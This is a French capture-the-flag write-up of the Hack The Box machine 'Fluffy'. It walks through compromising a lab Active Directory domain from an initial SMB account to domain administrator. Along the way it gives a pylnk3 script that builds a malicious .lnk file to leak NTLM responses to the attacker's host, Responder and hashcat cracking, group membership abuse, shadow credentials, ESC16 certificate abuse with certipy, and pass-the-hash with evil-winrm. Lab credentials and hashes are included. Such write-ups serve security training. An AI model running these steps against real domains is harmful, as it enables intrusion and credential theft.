Fluffy sur Hack The Box est une boîte de difficulté facile axée sur l’exploitation de vulnérabilités SMB et Active Directory. Avec des accès limités via un partage SMB, on découvre rapidement un rapport d’audit de sécurité exposant plusieurs CVE critiques.

Fluffy Easy Challenge HTB

Screen

Credentials : j.fleischman / J0elTHEM4n1990!

Nous allons tester avec smbclient pour voir les fichiers partagés.

Screen

Il y a effectivement des fichiers.
Le PDF peut nous intéresser, voyons voir ce qu’il contient.

Grâce à la commande PROMPT off, nous pouvons désactiver la vérification pour télécharger plusieurs fichiers.
Ensuite, pour les télécharger, on utilise mget *.

Screen

Voyons voir le contenu du PDF :

Screen
Screen

Le PDF est très intéressant : c’est un rapport d’audit de sécurité qui indique que le système contient des vulnérabilités plus ou moins critiques avec les CVE.
Dans une situation réelle, ce serait rare, mais ici c’est un CTF facile. Les deux premières CVE m’intéressent car elles sont critiques. Regardons à quoi elles servent.

  • CVE-2025-24996 : Exploite un bug dans la manière dont le service SMB traite certaines requêtes spécifiques liées aux permissions et à la validation des utilisateurs. Cela permet à un attaquant déjà authentifié ou avec un accès limité de contourner certaines restrictions de sécurité.
  • CVE-2025-24071 : Exploitation via un fichier .lnk malveillant. Cette vulnérabilité permet la récupération d’un hash NTLM en utilisant un lien symbolique .lnk malveillant.

C’est pertinent ici car nous avons déjà accès à un utilisateur capable de lire et uploader des fichiers sur un partage SMB. Cela nous donne un vecteur parfait pour exploiter cette faille.

Fonctionnement de l’attaque

Le fichier .lnk doit pointer vers une ressource sur le serveur de l’attaquant (par exemple une IP publique), en spécifiant un chemin vers un fichier (même inexistant).
Ceci est crucial : le chemin doit simuler un fichier réel pour déclencher une tentative d’authentification et capturer le hash NTLM.

J’ai développé un petit script Python permettant de générer des .lnk personnalisables. Ce script permet notamment de :

  • spécifier l’adresse IP de l’attaquant

  • indiquer un chemin de fichier ciblé (fictif ou réel)

import pylnk3

lnk = pylnk3.for_file(r"\\IP\icons\icon.ico")
with open("evil.lnk", "wb") as f:
    lnk.save(f)

Une fois le lien symbolique malveillant cree, nous devons l’upload sur le smb via la commande smbclient //10.10.11.69/IT -U j.fleischman%J0elTHEM4n1990! -c "put evil.lnk".

Donc voila une fois le fichier upload nous devons attendre que la victime ouvre le fichier. Pour capturer les paquets et les informations quand la victime ouvrira le fichier j’ai utiliser l’outil responder sur l’interface tun0.

sudo responder -I tun0

Maintenant plus qu’a attendre…

Screen

WOOUUW la victime p.agila a ouvert mon fichier! J’ai donc pu recuperer la reponse NTLM.

ATTENTION CE N’EST PAS UN HASH NTLM MAIS UN REPONSE DONC ON NE PEUT PAS DIRECTEMENT FAIRE L’ATTAQUE PASS-THE-HASH OU DE L’AUTHENTIFICATION DIRECT.

Que peut on faire avec la reponse NLTM ?

  • Tenter de cracker pour recuperer le mot de passe avec hashcat par exemple
  • Attaque par relay ou l’objectif et de se faire passer pour la victime

Voici un lien sur les different hash NTLM: https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

hashcat -d 2 -m 5600 hash.txt ~/wordlist/rockyou.txt --show 

P.AGILA::FLUFFY:b7761bc3cb992d34:0c4e30e0953e5092f135da9c4eeaf6ac:010100000000000080ed50b489d5db01d8816301c10146b6000000000200080059004c003700490001001e00570049004e002d004700370049005a00490030004600470050004500500004003400570049004e002d004700370049005a0049003000460047005000450050002e0059004c00370049002e004c004f00430041004c000300140059004c00370049002e004c004f00430041004c000500140059004c00370049002e004c004f00430041004c000700080080ed50b489d5db0106000400020000000800300030000000000000000100000000200000c9c0ec334c8da29a7a1da9a4adc79240db73498e6f1e9af89e74fd45b7e63a110a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100340031000000000000000000:prometheusx-303

Super le mot de passe a ete cracker!

Nous pouvons ensuite faire une reconaissance avec bloodhound pour avoir l’architecture du reseau AD.

bloodhound-python -c All -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303' -ns 10.10.11.69

Screen

Nous pouvons voir que l’utilisateur p.agila est membre du groupe SERVICE ACCOUNT MANAGERS, qui lui a un generic all sur le groupe SERVICE ACCOUNTS. Voyons voir ce qu’il y a dans SERVICE ACCOUNTS.

Screen

SUer interessant il ya CA_SVC LDAP_SVC et WINRM_SVC membre du groupe SERVICE ACCOUNTS.

Screen

Donc pour pouvoir acceder a ces compte interessant nous devons ajouter l’utilisateur p.agila dans le groupe SERVICE ACCOUNTS via la commande suivante:

net rpc group addmem "SERVICE ACCOUNTS" "p.agila" -U "fluffy.htb"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"

Et voila juste apres la commande l’utilistaeur p.agilla est membre de SERVICE ACCOUNTS.

Screen

Maintenant voyons nous pouvons proceder a une attaque par shadow credentials.

Pour en savoir plus sur le shadow credentials: https://www.hackingarticles.in/shadow-credentials-attack/

Nous devons ajouer l’utilisateur p.agila dans le groupe winrm_svc

Nous allons utiliser pywhisker:

pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "winrm_svc" --action "add"

Shadow Credentials Attack ajoute une entrée msDS-KeyCredentialLink à l’objet WINRM_SVC dans Active Directory.

Cela permet à l’attaquant de s’authentifier en tant que WINRM_SVC via PKINIT (certificat) sans connaître son mot de passe ou NT hash.

certipy shadow auto -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip  10.10.11.69  -account 'winrm_svc'

Screen

Maintenant que l’on a un hash NT nous pouvons utiliser evil-winrm pour se connecter via le hash.

evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767

Screen

Dans un domaine Active Directory, le compte ca_svc est souvent le service qui gère la Certification Authority (CA), c’est-à-dire la “PKI” interne qui délivre les certificats. Ces certificats peuvent servir à s’authentifier et obtenir des accès élevés.

Si un autre utilisateur a la permission “GenericAll” sur ce compte ca_svc, cela signifie qu’il peut le contrôler entièrement : changer son mot de passe, modifier ses droits, ou demander des certificats en son nom.

Comme ca_svc est lié à la gestion des certificats d’autorité, prendre son contrôle permet souvent d’escalader ses privilèges et devenir administrateur du domaine, ce qui est une faille de sécurité majeure.

certipy find -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip  10.10.11.69

Donc la on refait pareil que avec winrm_svc mais cette fois ci avec ca_svc, on va rajouter une recherche de vulnerabilite dans les certificat grace a certipy, cette outil est tres puissant.

certipy find -username 'ca_svc@fluffy.htb' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip  10.10.11.69

Screen

Il y a peut etre un ESC16 a exploiter mais cela depend de si on a les droits pour modifier l’UPN (user principal name) et comme on l’a vu avec bloodhound, on a generic_all donc on peut bien modifier l’UPN.

ESC16: https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

Etapes:

  • Changer temporairement cet UPN en celui d’un compte admin (ex : administrator).
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update

Screen

  • Demander un certificat à la CA avec ce nouvel UPN (le certificat sera signé pour l’admin).
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'

Screen

  • S’authentifier avec le certificat obtenu pour récupérer un ticket Kerberos admin.
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Screen

Et la j’ai une erreur entre le certificat et le username administrator, c’est parce que je dois remettre l’user de base donc ca_svc et ensuite cela fonctionne.

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
  • Utiliser ce ticket ou extraire le hash NT pour avoir un shell admin.

Screen

evil-winrm -i 10.10.11.69 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e